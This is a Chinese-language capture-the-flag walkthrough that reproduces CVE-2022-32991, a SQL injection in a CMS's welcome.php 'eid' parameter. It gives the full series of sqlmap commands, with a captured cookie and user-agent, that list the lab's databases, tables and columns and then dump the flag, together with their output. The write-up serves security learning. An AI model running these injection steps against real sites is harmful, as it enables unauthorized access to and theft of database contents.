Appearance
CVE-2022-32991漏洞复现
首先打开环境进行信息收集,该CMS在welcome.php上存在sql注入点,在这里不进行手工注入,有兴趣的可以自行手工注入。 使用sqlmap注入需要提供user-agent以及cookie字段,使用burp抓包,抓包获取到字段为:
-user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"
--cookie="PHPSESSID=31e8thijk30jep3l6nvn1rb6gh"
接下来使用sqlmap爆数据库
powershell
sqlmap -u "http://eci-2zefomh68sl4ozpht8o7.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0" --cookie="PHPSESSID=31e8thijk30jep3l6nvn1rb6gh" --batch --dbs
爆出如下数据库
available databases [4]:
[*] ctf
[*] information_schema
[*] mysql
[*] performance_schema
我们对ctf这个表进行爆表
sqlmap -u "http://eci-2zefomh68sl4ozpht8o7.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0" --cookie="PHPSESSID=31e8thijk30jep3l6nvn1rb6gh" --batch -D "ctf" --tables
爆出在ctf表下有如下表名
Database: ctf
[9 tables]
+-----------+
| rank |
| user |
| admin |
| answer |
| flag |
| history |
| options |
| questions |
| quiz |
+-----------+
爆列名
sqlmap -u "http://eci-2zefomh68sl4ozpht8o7.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0" --cookie="PHPSESSID=31e8thijk30jep3l6nvn1rb6gh" --batch -D "ctf" -T "flag" --columns
发现字段flag 最后就是爆字段了
sqlmap -u "http://eci-2zefomh68sl4ozpht8o7.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0" --cookie="PHPSESSID=31e8thijk30jep3l6nvn1rb6gh" --batch -D "ctf" -T "flag" -C "flag" --dump
直接出flag!
幽离知识库